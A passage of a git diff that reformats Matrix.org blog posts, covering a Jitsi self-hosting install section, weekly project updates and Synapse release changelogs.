you can run your own video conferencing. We take the instructions from [Jitsi's quick install guide](https://github.com/jitsi/jitsi-meet/blob/master/doc/quick-install.md): +* Finally, we install Jitsi so you can run your own video conferencing. We take the instructions from [Jitsi's quick install guide](https://github.com/jitsi/jitsi-meet/blob/master/doc/quick-install.md): -``` +```bash echo 'deb https://download.jitsi.org stable/' >> /etc/apt/sources.list.d/jitsi-stable.list wget -qO - https://download.jitsi.org/jitsi-key.gpg.key | sudo apt-key add - apt-get update apt-get -y install jitsi-meet ``` - * We give the installer the hostname `jitsi.dangerousdemos.net`. **Make sure this DNS is already set up, otherwise the installer will fail!** - * The installer magically detects you have nginx installed and adds in an appropriate vhost! - * We select a self-signed certificate for now, and then upgrade it to LetsEncrypt after the fact with `/usr/share/jitsi-meet/scripts/install-letsencrypt-cert.sh`. - * Alternatively, you could have specified manual certificates, and then used `certbot` alongside the rest of nginx to create a certificate for `jitsi.dangerousdemos.net` - both work. - * You should now be able to go to https://jitsi.dangerousdemos.net and use the Jitsi directly. +* We give the installer the hostname `jitsi.dangerousdemos.net`. **Make sure this DNS is already set up, otherwise the installer will fail!** +* The installer magically detects you have nginx installed and adds in an appropriate vhost! +* We select a self-signed certificate for now, and then upgrade it to LetsEncrypt after the fact with `/usr/share/jitsi-meet/scripts/install-letsencrypt-cert.sh`. + * Alternatively, you could have specified manual certificates, and then used `certbot` alongside the rest of nginx to create a certificate for `jitsi.dangerousdemos.net` - both work. +* You should now be able to go to and use the Jitsi directly. - * Finally, and this is the cool new bit: you can now point Riot to use the new Jitsi by going to its config.json at `/var/www/riot.dangerousdemos.net/riot/config.json` and changing the `preferredDomain` of the `jitsi` block from `https://jitsi.riot.im` to your own self-hosted `https://jitsi.dangerousdemos.net`. - * You then refresh your Riot/Web, and you should be all set to use Jitsi from within your new Riot - as Riot/Web 1.5.15 and later has the ability to natively embed Jitsi straight into the app without needing to use an integration manager. +* Finally, and this is the cool new bit: you can now point Riot to use the new Jitsi by going to its config.json at `/var/www/riot.dangerousdemos.net/riot/config.json` and changing the `preferredDomain` of the `jitsi` block from `https://jitsi.riot.im` to your own self-hosted `https://jitsi.dangerousdemos.net`. +* You then refresh your Riot/Web, and you should be all set to use Jitsi from within your new Riot - as Riot/Web 1.5.15 and later has the ability to natively embed Jitsi straight into the app without needing to use an integration manager. ### Conclusion Matrix nowadays provides an excellent alternative to the centralised solutions. It gives: - * Full autonomy over how to host and store your own conversations - * Full freedom to talk to anyone else on the wider global Matrix network (or indeed anyone else bridged into Matrix) - * Full privacy via full end-to-end-encryption for chats, file transfer and 1:1 voice/video calls (when enabled) - * Full transparency by being 100% open source (as well as benefiting from the overall open source community) +* Full autonomy over how to host and store your own conversations +* Full freedom to talk to anyone else on the wider global Matrix network (or indeed anyone else bridged into Matrix) +* Full privacy via full end-to-end-encryption for chats, file transfer and 1:1 voice/video calls (when enabled) +* Full transparency by being 100% open source (as well as benefiting from the overall open source community) Hopefully this gives some confidence that it's pretty easy to run your own fully functional Matrix instance these days. If not, then hopefully someone will do a similar one to show off Docker! diff --git a/content/blog/2020/04/2020-04-09-this-week-in-matrix-2020-04-09.md b/content/blog/2020/04/2020-04-09-this-week-in-matrix-2020-04-09.md index a24bc9a6e..d8dffcab4 100644 --- a/content/blog/2020/04/2020-04-09-this-week-in-matrix-2020-04-09.md +++ b/content/blog/2020/04/2020-04-09-this-week-in-matrix-2020-04-09.md @@ -19,9 +19,9 @@ We were really excited to make this event *feel* like a real meetup - with a liv Lineup included: * [Saúl Ibarra Corretgé](https://twitter.com/saghul) from Jitsi on the rapid growth they've experienced since the start of the 2020 crisis - * [Find the slides here](https://www.slideshare.net/saghul/jitsi-meet-a-tale-of-blood-sweat-tears-and-love) + * [Find the slides here](https://www.slideshare.net/saghul/jitsi-meet-a-tale-of-blood-sweat-tears-and-love) * [David Dias](https://twitter.com/daviddias) from IPFS introducing gossipsub in libp2p, including the security hardening work that they've been putting into v1.1! - * [Find the slides here](/media/Enter-Gossipsub-Slidedeck.pdf) + * [Find the slides here](/media/Enter-Gossipsub-Slidedeck.pdf) * [Valère](https://twitter.com/valereonmobile), from Matrix and Riot, who presented on the importance of UX and cross-signing keys in end-to-end encrypted communications. @@ -32,7 +32,7 @@ Lineup included: > Here's your weekly spec update! > -> #### MSC Status +> ### MSC Status > > **Merged MSCs:** > @@ -46,7 +46,7 @@ Lineup included: > > * [MSC2487: Filtering for Appservices](https://github.com/matrix-org/matrix-doc/pull/2487) > -> #### Spec Core Team +> ### Spec Core Team > > This week the Spec Core Team will be focusing on [MSC2457](https://github.com/matrix-org/matrix-doc/pull/2457) (password invalidation), [MSC2454](https://github.com/matrix-org/matrix-doc/pull/2454) (SSO UI Auth), and [MSC2472](https://github.com/matrix-org/matrix-doc/pull/2472) (Symmetric SSSS), which each have proposed FCPs in flight. > @@ -78,7 +78,7 @@ Lineup included: [Neil](https://matrix.to/#/@neilj:matrix.org) told us: -> The main focus continues to be performance and we are starting to make good progress in figuring out how to split out and shard the event streams. This is a project where most of the bang will come all at once, rather than there being multiple small incremental improvements. +> The main focus continues to be performance and we are starting to make good progress in figuring out how to split out and shard the event streams. This is a project where most of the bang will come all at once, rather than there being multiple small incremental improvements. > > Aside from that we continue to improve the SSO experience, landing UIA support for CAS providers. We also made a small change to the default behaviour so that only room admins can enable e2ee (applies to new rooms only). > @@ -186,7 +186,7 @@ They say: > Main Focus is still on getting cross-signing out > No release this week, but here is develop change log: > -> #### Develop Change log: +> #### Develop Change log > > Features ✨: > @@ -236,7 +236,7 @@ They say: [jplatte](https://matrix.to/#/@jplatte:matrix.org) reported: -> Endpoints are continually being updated, and instead of just repeating this vague statement again and again, here is a number: _at least_ 60% of our endpoint definitions are up-to-date with r0.6.0. +> Endpoints are continually being updated, and instead of just repeating this vague statement again and again, here is a number: *at least* 60% of our endpoint definitions are up-to-date with r0.6.0. > > We're also getting lots of feedback from conduit's development. Some of things we're now planning to change based on that will require large-scale refactorings that haven't yet started, but will hopefully happen in the coming months. @@ -244,7 +244,7 @@ They say: [poljar](https://matrix.to/#/@poljar:matrix.org) said: -> The matrix-rust-sdk is steadily progressing, improvements have been made on many fronts thanks to devinr528 (better event emitting, easier tests, room name calculation...). +> The matrix-rust-sdk is steadily progressing, improvements have been made on many fronts thanks to devinr528 (better event emitting, easier tests, room name calculation...). > > The encryption side of things has been going on as well and a sneak peek can be found here diff --git a/content/blog/2020/04/2020-04-17-this-week-in-matrix-2020-04-17.md b/content/blog/2020/04/2020-04-17-this-week-in-matrix-2020-04-17.md index 78bd13364..b50969059 100644 --- a/content/blog/2020/04/2020-04-17-this-week-in-matrix-2020-04-17.md +++ b/content/blog/2020/04/2020-04-17-this-week-in-matrix-2020-04-17.md @@ -95,13 +95,13 @@ A Matrix homeserver written in Rust [Neil](https://matrix.to/#/@neilj:matrix.org) told us: -> We continue to focus on performance and spent a good chunk of time improving worker replication test coverage to build confidence that our upcoming changes will work as expected. Erik has been working on how to how to factor out cache invalidation which is now starting to take good shape. Once we have that, factoring out things like event persistence are next on the horizon. +> We continue to focus on performance and spent a good chunk of time improving worker replication test coverage to build confidence that our upcoming changes will work as expected. Erik has been working on how to how to factor out cache invalidation which is now starting to take good shape. Once we have that, factoring out things like event persistence are next on the horizon. > > Aside from that we’ve been working with the Riot client teams as they near release for cross signing, fixing bugs and improving performance on key actions. > > SSO support continues to improve, and more fixes for user inactive auth for worker'd installs will land next week. Poor old Rich has been banging his head against a [sync bug](https://github.com/matrix-org/synapse/issues/7206) blocking develop, but hopefully he has broken its back now, and we'll get that merged asap. > -> Finally we experienced some operational issues with push over the weekend, so we spent some time cleaning up and figuring out how to make things more resilient. +> Finally we experienced some operational issues with push over the weekend, so we spent some time cleaning up and figuring out how to make things more resilient. > > Coming up, performance, cross signing support, SSO improvements. @@ -303,7 +303,7 @@ While discussing the use of QML in Nheko, [aa13q](https://matrix.to/#/@aa13q:mat > > I'm actually thinking Qt is the bright future of very wide development areas. I'm both frightened and intrigued looking at relatively low popularity of the project. Since I want it to live and prosper even more but afraid of the possible mistakes for even harder tasks. The better popularity of the project will be harder to coordinate and the future tasks will be even harder. Similar to other cool projects (like matrix! :) I guess it's very challenging to balance between running as hard as you can and not to "die" from exhaustion %) > -> I don't even know is there something similar comparing to the Qt project, that's also why I'm worried about the future of the project %) +> I don't even know is there something similar comparing to the Qt project, that's also why I'm worried about the future of the project %) > > So-called software crisis (the late 60s – mid-80s [3,4]) was successfully overcome by introducing Object-Oriented Programming (it's always funny to see some people who are more into functional programming hates OOP in that context [5]) And notably Alan Kay is not only OOP pioneer (Smalltalk language) but also a first GUI applications developer. While the current OOP languages like Java and C++ are quite imperative, OOP is not only about the objects but also about the messages between them (Smalltalk is probably a nice example here too). > diff --git a/content/blog/2020/04/2020-04-23-synapse-1-12-4-released.md b/content/blog/2020/04/2020-04-23-synapse-1-12-4-released.md index 0be13a13d..59503a948 100644 --- a/content/blog/2020/04/2020-04-23-synapse-1-12-4-released.md +++ b/content/blog/2020/04/2020-04-23-synapse-1-12-4-released.md @@ -10,30 +10,22 @@ category = ["Releases"] A small patch release containing features and bugs to support the upcoming launch of cross signing. We are very close now :) - -Get 1.12.4 from [github](https://github.com/matrix-org/synapse/releases/tag/v1.12.4) or any of the sources mentioned at https://github.com/matrix-org/synapse/blob/master/INSTALL.md. - +Get 1.12.4 from [github](https://github.com/matrix-org/synapse/releases/tag/v1.12.4) or any of the sources mentioned at . Changelog since v1.12.3 -Synapse 1.12.4 (2020-04-23) -=========================== +## Synapse 1.12.4 (2020-04-23) No significant changes. +## Synapse 1.12.4rc1 (2020-04-22) -Synapse 1.12.4rc1 (2020-04-22) -============================== - -Features --------- +### Features - Always send users their own device updates. ([\#7160](https://github.com/matrix-org/synapse/issues/7160)) - Add support for handling GET requests for `account_data` on a worker. ([\#7311](https://github.com/matrix-org/synapse/issues/7311)) - -Bugfixes --------- +### Bugfixes - Fix a bug that prevented cross-signing with users on worker-mode synapses. ([\#7255](https://github.com/matrix-org/synapse/issues/7255)) - Do not treat display names as globs in push rules. ([\#7271](https://github.com/matrix-org/synapse/issues/7271)) diff --git a/content/blog/2020/04/2020-04-24-this-week-in-matrix-2020-04-24.md b/content/blog/2020/04/2020-04-24-this-week-in-matrix-2020-04-24.md index 1a396d182..e661c7bb9 100644 --- a/content/blog/2020/04/2020-04-24-this-week-in-matrix-2020-04-24.md +++ b/content/blog/2020/04/2020-04-24-this-week-in-matrix-2020-04-24.md @@ -40,7 +40,7 @@ Article is all in some other language - thanks Brendan for providing this summar > > **Merged MSCs:** > -> * *No MSCs were merged this week* +> * *No MSCs were merged this week* > > **MSCs in Final Comment Period:** > @@ -64,19 +64,19 @@ Article is all in some other language - thanks Brendan for providing this summar > Last week > -> * Shipped [1.12.4](https://matrix.org/blog/2020/04/23/synapse-1-12-4-released) a patch release to fix some cross signing related bugs. -> * Redis support to replace our existing cross replication system, merged to develop. This is a precursor to the sharding project. We have a PR to support cache invalidation across workers which, once merged should make it relatively easy to pull off event persistence from the master process. Just removing event persistence could give some decent perf wins, but the prize is then splitting persistence to run across across multiple workers. +> * Shipped [1.12.4](https://matrix.org/blog/2020/04/23/synapse-1-12-4-released) a patch release to fix some cross signing related bugs. +> * Redis support to replace our existing cross replication system, merged to develop. This is a precursor to the sharding project. We have a PR to support cache invalidation across workers which, once merged should make it relatively easy to pull off event persistence from the master process. Just removing event persistence could give some decent perf wins, but the prize is then splitting persistence to run across across multiple workers. > -> * A final PR to support SSO for user interactive auth will merge imminently, thereby freeing up full cross signing support for worker installs. -> * Aside from that we’ve been working on fixing a weird bug where rooms can end up with zero forward extremities and generally showing Sygnal some love. +> * A final PR to support SSO for user interactive auth will merge imminently, thereby freeing up full cross signing support for worker installs. +> * Aside from that we’ve been working on fixing a weird bug where rooms can end up with zero forward extremities and generally showing Sygnal some love. > > Upcoming > -> * Put Redis into production -> * Ship 1.13.0 which will contain Redis support as well as a host of SSO bug fixes. +> * Put Redis into production +> * Ship 1.13.0 which will contain Redis support as well as a host of SSO bug fixes. > -> * Merge our new caching config logic to give finer granularity on cache settings. -> * Merge cache invalidation and try to get events persistence running in its own worker. +> * Merge our new caching config logic to give finer granularity on cache settings. +> * Merge cache invalidation and try to get events persistence running in its own worker. Ben added: diff --git a/content/blog/2020/05/2020-05-01-this-week-in-matrix-2020-05-01.md b/content/blog/2020/05/2020-05-01-this-week-in-matrix-2020-05-01.md index b0db0556f..f010a7618 100644 --- a/content/blog/2020/05/2020-05-01-this-week-in-matrix-2020-05-01.md +++ b/content/blog/2020/05/2020-05-01-this-week-in-matrix-2020-05-01.md @@ -40,20 +40,21 @@ Please test this weekend, and report any issues you ma > Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at . > -> #### MSC Status +> ### MSC Status > > **Merged MSCs:** > -> * _No MSCs were merged this week_ +> * *No MSCs were merged this week* > > **MSCs in Final Comment Period:** > -> * _No MSCs are currently in FCP._ +> * *No MSCs are currently in FCP.* > > **New MSCs:** > > * [MSC2516: Add a new message type for voice messages](https://github.com/matrix-org/matrix-doc/pull/2516) -> #### Spec Core Team +> +> ### Spec Core Team > > In terms of Spec Core Team MSC focus for this week, [MSC2454](https://github.com/matrix-org/matrix-doc/pull/2454) has entered FCP, and as such we've decided to instead focus on [MSC2399](https://github.com/matrix-org/matrix-doc/pull/2399). So the new list of MSCs for next week is: [MSC2366](https://github.com/matrix-org/matrix-doc/pull/2366) (verification flows), [MSC2399](https://github.com/matrix-org/matrix-doc/pull/2399) (UISI messaging), and [MSC2472](https://github.com/matrix-org/matrix-doc/pull/2472) (Symmetric SSSS). @@ -174,7 +175,7 @@ Pattle is a client written for Flutter using Dart > > #### Changes > -> * A _lot_ has changed internally, expect to have a smoother experience! +> * A *lot* has changed internally, expect to have a smoother experience! > > (See also the Matrix Dart SDK release) > @@ -207,8 +208,8 @@ Pattle is a client written for Flutter using Dart > #### Get Pattle > > * **Android** -> * **[F-Droid](https://f-droid.org/en/packages/im.pattle.app/)** -> * **[Google Play](https://play.google.com/store/apps/details?id=im.pattle.app)** +> * **[F-Droid](https://f-droid.org/en/packages/im.pattle.app/)** +> * **[Google Play](https://play.google.com/store/apps/details?id=im.pattle.app)** > * **[iOS (TestFlight)](https://testflight.apple.com/join/uTytydST)** > > #### Issues or suggestions @@ -254,7 +255,7 @@ What megolm implementation are you using? > * When entering a full MXID into the username field on logging in, Nio will automagically prefill the homeserver URL (if a well-known config is present server-side). > * Rich text markdown message display including clickable links detection is now in the works! > -> Best part about _all_ of these changes: They were contributed by others, I did nothing but merge the PRs! Open-Source ❤️ Shout out to @stefan:stefanhofman.nl, @thomas:mustelo.de, @captain-yukinoshita-hachiaman:matrix.org and @regexident:matrix.org. +> Best part about *all* of these changes: They were contributed by others, I did nothing but merge the PRs! Open-Source ❤️ Shout out to @stefan:stefanhofman.nl, @thomas:mustelo.de, @captain-yukinoshita-hachiaman:matrix.org and @regexident:matrix.org. ![Nio well known](/blog/img/2020-05-01-wellknown.gif) @@ -285,7 +286,7 @@ What megolm implementation are you using? > * We also reduced CPU usage by a lot. Nheko now only uses 0.7% CPU on my system again and that's just the presence updates I get every 100ms or so... > > There will probably be a release in the near future to get those fixes to people not running master. - +> > The reduced CPU usage is mostly not resorting the whole room list all the time, but keeping the partially sorted room list around and not storing pending read receipts in the database but just applying them all the time without checking, if we are waiting on a receipt :D ### Riot Web @@ -333,7 +334,7 @@ This is a really exciting project! Very stylish design and great to see people u > > * `LocalUser` has been renamed to `MyUser` > -> And a _lot_ of other changes! +> And a *lot* of other changes! > > #### How it works > @@ -397,12 +398,12 @@ Join [#sdk:pattle.im](https://matrix.to/#/#sdk:pattle.im) to learn more! > Opsdroid has released v0.18 this week, which contains [a load of stuff](https://github.com/opsdroid/opsdroid/releases/tag/v0.18.0). The main matrix related changes are: > -> * A generic event type for all unsupported matrix events, so you can now react to and send any custom events. +> * A generic event type for all unsupported matrix events, so you can now react to and send any custom events. > -> * Implementation of the join room event in the matrix connector so you can react to users joining a matrix room. -> * A fix for mxc urls in messages, so inline images etc work. +> * Implementation of the join room event in the matrix connector so you can react to users joining a matrix room. +> * A fix for mxc urls in messages, so inline images etc work. > -> * A fix for the opsdroid memory to allow per-room matrix room state databases. This will hopefully be merged into core for the next release. +> * A fix for the opsdroid memory to allow per-room matrix room state databases. This will hopefully be merged into core for the next release. > > #### Picard Opsdroid Skill > diff --git a/content/blog/2020/05/2020-05-06-cross-signing-and-end-to-end-encryption-by-default-is-here.md b/content/blog/2020/05/2020-05-06-cross-signing-and-end-to-end-encryption-by-default-is-here.md index 93ea6603a..d83753a7f 100644 --- a/content/blog/2020/05/2020-05-06-cross-signing-and-end-to-end-encryption-by-default-is-here.md +++ b/content/blog/2020/05/2020-05-06-cross-signing-and-end-to-end-encryption-by-default-is-here.md @@ -25,24 +25,24 @@ DMs and invite-only rooms. Work on E2EE in Matrix has progressed in waves since we first shipped it - including: - * adding keysharing (letting you share encryption keys between your devices to improve reliability) - * making Riot Web's encryption resilient to running concurrently in multiple tabs - * adding online key backup (so you don't lose all your history if you lose all your devices) - * making encryption resilient to restoring the app from a backup - * adding interactive key verification via emoji to make the verification process easier. +* adding keysharing (letting you share encryption keys between your devices to improve reliability) +* making Riot Web's encryption resilient to running concurrently in multiple tabs +* adding online key backup (so you don't lose all your history if you lose all your devices) +* making encryption resilient to restoring the app from a backup +* adding interactive key verification via emoji to make the verification process easier. However, our goal was always to enable E2EE by default for all private rooms, which means having feature parity between unencrypted and E2EE Matrix so that we can enable encryption without *any* negative impact on usability. The high-level remaining items were significant: - * Cross-signing: verifying your own logins so others don’t have to. - * Adding QR codes for even better verification UX, to make cross-signing as painless as possible. - * Replacing the old prototype UI for E2EE with final polished UI/UX. - * Ability to support non-E2EE clients. - * Ability to search encrypted rooms. - * Ability to view file indexes in encrypted rooms. - * Fixing the remaining “Unable to decrypt” errors. +* Cross-signing: verifying your own logins so others don’t have to. +* Adding QR codes for even better verification UX, to make cross-signing as painless as possible. +* Replacing the old prototype UI for E2EE with final polished UI/UX. +* Ability to support non-E2EE clients. +* Ability to search encrypted rooms. +* Ability to view file indexes in encrypted rooms. +* Fixing the remaining “Unable to decrypt” errors. Over the last few months the Riot team has been almost entirely focused on implementing solutions to these items - and we're finally at the point where diff --git a/content/blog/2020/05/2020-05-07-this-week-in-matrix-2020-05-07.md b/content/blog/2020/05/2020-05-07-this-week-in-matrix-2020-05-07.md index 27a997a69..d1f8f0109 100644 --- a/content/blog/2020/05/2020-05-07-this-week-in-matrix-2020-05-07.md +++ b/content/blog/2020/05/2020-05-07-this-week-in-matrix-2020-05-07.md @@ -38,7 +38,7 @@ Meetup 2 will feature: > Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at > -> #### MSC Status +> ### MSC Status > > **Merged MSCs:** > @@ -55,7 +55,7 @@ Meetup 2 will feature: > * [MSC2526: Add ability to delete key backups](https://github.com/matrix-org/matrix-doc/pull/2526) > * [MSC2530: Body field as media caption](https://github.com/matrix-org/matrix-doc/pull/2530) > -> #### Spec Core Team +> ### Spec Core Team > > In terms of Spec Core Team MSC focus for this week, [MSC2474](https://github.com/matrix-org/matrix-doc/pull/2474) has entered FCP. Keeping with the E2EE theme, we've switched focus to [MSC2526](https://github.com/matrix-org/matrix-doc/pull/2526). So the new list of MSCs for next week is: [MSC2366](https://github.com/matrix-org/matrix-doc/pull/2366) (verification flows), [MSC2399](https://github.com/matrix-org/matrix-doc/pull/2399) (UISI messaging), and [MSC2526](https://github.com/matrix-org/matrix-doc/pull/2526) (deleting key backups). @@ -84,11 +84,11 @@ Dendrite is a next-generation homeserver written in Go [Neil](https://matrix.to/#/@neilj:matrix.org) offered: -> * Redis live in production for m.org! We did not expect this to translate into a significant improvement in performance directly, but it means that we can add new workers without any extra overhead on the master process which has been _very_ useful in supporting cross signing. +> * Redis live in production for m.org! We did not expect this to translate into a significant improvement in performance directly, but it means that we can add new workers without any extra overhead on the master process which has been *very* useful in supporting cross signing. > -> * Fixing bugs leading to messages getting stuck at the bottom of the timeline as well as messages not making it to sync at all. +> * Fixing bugs leading to messages getting stuck at the bottom of the timeline as well as messages not making it to sync at all. > -> * Lots of improvements to deal with the extra load generated by cross signing. +> * Lots of improvements to deal with the extra load generated by cross signing. > > All of these changes will be available in v1.13.0 which should have a release candidate ready rsn. > @@ -102,7 +102,7 @@ Dendrite is a next-generation homeserver written in Go > > #### architect events > -> I created a [json-schema](https://gitlab.com/Gnuxie/json-schema2) library, to generate class definitions directly from the Matrix specification. These classes also have information attached to them to allow for serialisation, using a metaclass from [json-clos](https://gitlab.com/Gnuxie/json-clos). +> I created a [json-schema](https://gitlab.com/Gnuxie/json-schema2) library, to generate class definitions directly from the Matrix specification. These classes also have information attached to them to allow for serialisation, using a metaclass from [json-clos](https://gitlab.com/Gnuxie/json-clos). > > This is done entirely dynamically without writing to source files. [The invocation](https://gitlab.com/cal-coop/architect/architect.events) of json-schema that creates classes for the `client-server`, `server-server` and `application-service` protocols is only about 20 lines. @@ -282,7 +282,7 @@ Ruma is a Rust project to create a comprehensive set of APIs for Matrix. Previou > > * Get it : > -> * Talk about it: [#home-assistant-bot:fiksel.info](https://matrix.to/#/#home-assistant-bot:fiksel.info) +> * Talk about it: [#home-assistant-bot:fiksel.info](https://matrix.to/#/#home-assistant-bot:fiksel.info) > > P.S: Thanks for Opsdroid! ❤︎ diff --git a/content/blog/2020/05/2020-05-15-this-week-in-matrix-2020-05-15.md b/content/blog/2020/05/2020-05-15-this-week-in-matrix-2020-05-15.md index 2565b8182..a1385171a 100644 --- a/content/blog/2020/05/2020-05-15-this-week-in-matrix-2020-05-15.md +++ b/content/blog/2020/05/2020-05-15-this-week-in-matrix-2020-05-15.md @@ -14,7 +14,7 @@ image = "https://matrix.org/blog/img/2020-05-15-0k1yx-screenshot2.png" -Second edition of OTWSU took place this week! Chance to watch it if you haven't already, or (pro-tip), watch it again. +Second edition of OTWSU took place this week! Chance to watch it if you haven't already, or (pro-tip), watch it again. * [Mike Hoye](http://exple.tive.org/blarg/) from Mozilla talks about "Verbs in the fediverse" * Eugen ([@Gargron@mastodon.social](https://mastodon.social/@Gargron)) discusses "how we keep mastodon.social running at scale" as a Q&A @@ -36,7 +36,7 @@ Second edition of OTWSU took place this week! Chance to watch it if you haven't > > Full article (in German): -### Mozilla are happy with their deployment! +### Mozilla are happy with their deployment >

    About a year after this tweet, four months after deployment of our open source @matrixdotorg instance, community participation in the Mozilla project has increased from 4x to 10x across all the projects that previously relied on IRC.https://t.co/E5HRsfHkzk

    — mhoye (@mhoye) May 12, 2020 @@ -54,7 +54,7 @@ For more from Mike check out the OTSWU recording above, he's on first. > > **Merged MSCs:** > -> * _No MSCs were merged this week._ +> * *No MSCs were merged this week.* > > **MSCs in Final Comment Period:** > @@ -115,7 +115,7 @@ Conduit is a Matrix homeserver written in Rust > > Meanwhile, Valkum got sytest integration working! This means each time a new commit is pushed to a branch, CI automatically picks up on that and lets a lot of tests run on the homeserver - the same tests that synapse uses. Currently we have 8% of all tests positive on Conduit. > -> ``` +> ```txt > > Client-Server APIs: 8% (56/667 tests) > @@ -187,7 +187,7 @@ See the bottom of this post for some more interesting numbers! It's a big, big week for client news! We must take a deeper look at some of these projects soon! -### Ditto v0.4.1 Released! +### Ditto v0.4.1 Released [Annie](https://matrix.to/#/@annie:ditto.chat) offered: @@ -282,8 +282,8 @@ Pattle is a client written for Flutter using Dart > #### Get Pattle > > * **Android** -> * **[F-Droid](https://f-droid.org/en/packages/im.pattle.app/)** -> * **[Google Play](https://play.google.com/store/apps/details?id=im.pattle.app)** +> * **[F-Droid](https://f-droid.org/en/packages/im.pattle.app/)** +> * **[Google Play](https://play.google.com/store/apps/details?id=im.pattle.app)** > * **[iOS (TestFlight)](https://testflight.apple.com/join/uTytydST)** > > #### Issues or suggestions @@ -375,7 +375,7 @@ Pattle is a client written for Flutter using Dart [Benedict](https://matrix.to/#/@benedict:imbitbu.de) offered: -> This SDK is now on maven central. I also introduced support for implementing Application Services. The project can be found here: . It will be used by Matrix-SMS-Bridge, which only needs one telephone number. The latter will be released next week, when everything works fine (https://github.com/benkuly/matrix-sms-bridge). +> This SDK is now on maven central. I also introduced support for implementing Application Services. The project can be found here: . It will be used by Matrix-SMS-Bridge, which only needs one telephone number. The latter will be released next week, when everything works fine (). ### Matrix Dart SDK: v0.31.0 diff --git a/content/blog/2020/05/2020-05-19-synapse-1-13-0-released.md b/content/blog/2020/05/2020-05-19-synapse-1-13-0-released.md index 13ba0ed22..427ea3aff 100644 --- a/content/blog/2020/05/2020-05-19-synapse-1-13-0-released.md +++ b/content/blog/2020/05/2020-05-19-synapse-1-13-0-released.md @@ -23,13 +23,11 @@ Finally we've seen lots of improvements to our documentation and many thanks for It is also worth noting for those of you contributing to Synapse that the `develop` branch is now the default. More details in the changelog, so take a look. -Get 1.13.0 from [github](https://github.com/matrix-org/synapse/releases/tag/v1.13.0) or any of the sources mentioned at https://github.com/matrix-org/synapse/blob/master/INSTALL.md. - +Get 1.13.0 from [github](https://github.com/matrix-org/synapse/releases/tag/v1.13.0) or any of the sources mentioned at . Changelog since v1.12.4 -Synapse 1.13.0 (2020-05-19) -=========================== +## Synapse 1.13.0 (2020-05-19) This release brings some potential changes necessary for certain configurations of Synapse: @@ -39,144 +37,138 @@ This release brings some potential changes necessary for certain configurations Please review [UPGRADE.rst](https://github.com/matrix-org/synapse/blob/master/UPGRADE.rst) for more details on these changes and for general upgrade guidance. -Notice of change to the default `git` branch for Synapse --------------------------------------------------------- +### Notice of change to the default `git` branch for Synapse With the release of Synapse 1.13.0, the default `git` branch for Synapse has changed to `develop`, which is the development tip. This is more consistent with common practice and modern `git` usage. The `master` branch, which tracks the latest release, is still available. It is recommended that developers and distributors who have scripts which run builds using the default branch of Synapse should therefore consider pinning their scripts to `master`. -Features --------- - -- Extend the `web_client_location` option to accept an absolute URL to use as a redirect. Adds a warning when running the web client on the same hostname as homeserver. Contributed by Martin Milata. ([\#7006](https://github.com/matrix-org/synapse/issues/7006)) -- Set `Referrer-Policy` header to `no-referrer` on media downloads. ([\#7009](https://github.com/matrix-org/synapse/issues/7009)) -- Add support for running replication over Redis when using workers. ([\#7040](https://github.com/matrix-org/synapse/issues/7040), [\#7325](https://github.com/matrix-org/synapse/issues/7325), [\#7352](https://github.com/matrix-org/synapse/issues/7352), [\#7401](https://github.com/matrix-org/synapse/issues/7401), [\#7427](https://github.com/matrix-org/synapse/issues/7427), [\#7439](https://github.com/matrix-org/synapse/issues/7439), [\#7446](https://github.com/matrix-org/synapse/issues/7446), [\#7450](https://github.com/matrix-org/synapse/issues/7450), [\#7454](https://github.com/matrix-org/synapse/issues/7454)) -- Admin API `POST /_synapse/admin/v1/join/` to join users to a room like `auto_join_rooms` for creation of users. ([\#7051](https://github.com/matrix-org/synapse/issues/7051)) -- Add options to prevent users from changing their profile or associated 3PIDs. ([\#7096](https://github.com/matrix-org/synapse/issues/7096)) -- Support SSO in the user interactive authentication workflow. ([\#7102](https://github.com/matrix-org/synapse/issues/7102), [\#7186](https://github.com/matrix-org/synapse/issues/7186), [\#7279](https://github.com/matrix-org/synapse/issues/7279), [\#7343](https://github.com/matrix-org/synapse/issues/7343)) -- Allow server admins to define and enforce a password policy ([MSC2000](https://github.com/matrix-org/matrix-doc/issues/2000)). ([\#7118](https://github.com/matrix-org/synapse/issues/7118)) -- Improve the support for SSO authentication on the login fallback page. ([\#7152](https://github.com/matrix-org/synapse/issues/7152), [\#7235](https://github.com/matrix-org/synapse/issues/7235)) -- Always whitelist the login fallback in the SSO configuration if `public_baseurl` is set. ([\#7153](https://github.com/matrix-org/synapse/issues/7153)) -- Admin users are no longer required to be in a room to create an alias for it. ([\#7191](https://github.com/matrix-org/synapse/issues/7191)) -- Require admin privileges to enable room encryption by default. This does not affect existing rooms. ([\#7230](https://github.com/matrix-org/synapse/issues/7230)) -- Add a config option for specifying the value of the Accept-Language HTTP header when generating URL previews. ([\#7265](https://github.com/matrix-org/synapse/issues/7265)) -- Allow `/requestToken` endpoints to hide the existence (or lack thereof) of 3PID associations on the homeserver. ([\#7315](https://github.com/matrix-org/synapse/issues/7315)) -- Add a configuration setting to tweak the threshold for dummy events. ([\#7422](https://github.com/matrix-org/synapse/issues/7422)) - -Bugfixes --------- - -- Don't attempt to use an invalid sqlite config if no database configuration is provided. Contributed by @nekatak. ([\#6573](https://github.com/matrix-org/synapse/issues/6573)) -- Fix single-sign on with CAS systems: pass the same service URL when requesting the CAS ticket and when calling the `proxyValidate` URL. Contributed by @Naugrimm. ([\#6634](https://github.com/matrix-org/synapse/issues/6634)) -- Fix missing field `default` when fetching user-defined push rules. ([\#6639](https://github.com/matrix-org/synapse/issues/6639)) -- Improve error responses when accessing remote public room lists. ([\#6899](https://github.com/matrix-org/synapse/issues/6899), [\#7368](https://github.com/matrix-org/synapse/issues/7368)) -- Transfer alias mappings on room upgrade. ([\#6946](https://github.com/matrix-org/synapse/issues/6946)) -- Ensure that a user interactive authentication session is tied to a single request. ([\#7068](https://github.com/matrix-org/synapse/issues/7068), [\#7455](https://github.com/matrix-org/synapse/issues/7455)) -- Fix a bug in the federation API which could cause occasional "Failed to get PDU" errors. ([\#7089](https://github.com/matrix-org/synapse/issues/7089)) -- Return the proper error (`M_BAD_ALIAS`) when a non-existent canonical alias is provided. ([\#7109](https://github.com/matrix-org/synapse/issues/7109)) -- Fix a bug which meant that groups updates were not correctly replicated between workers. ([\#7117](https://github.com/matrix-org/synapse/issues/7117)) -- Fix starting workers when federation sending not split out. 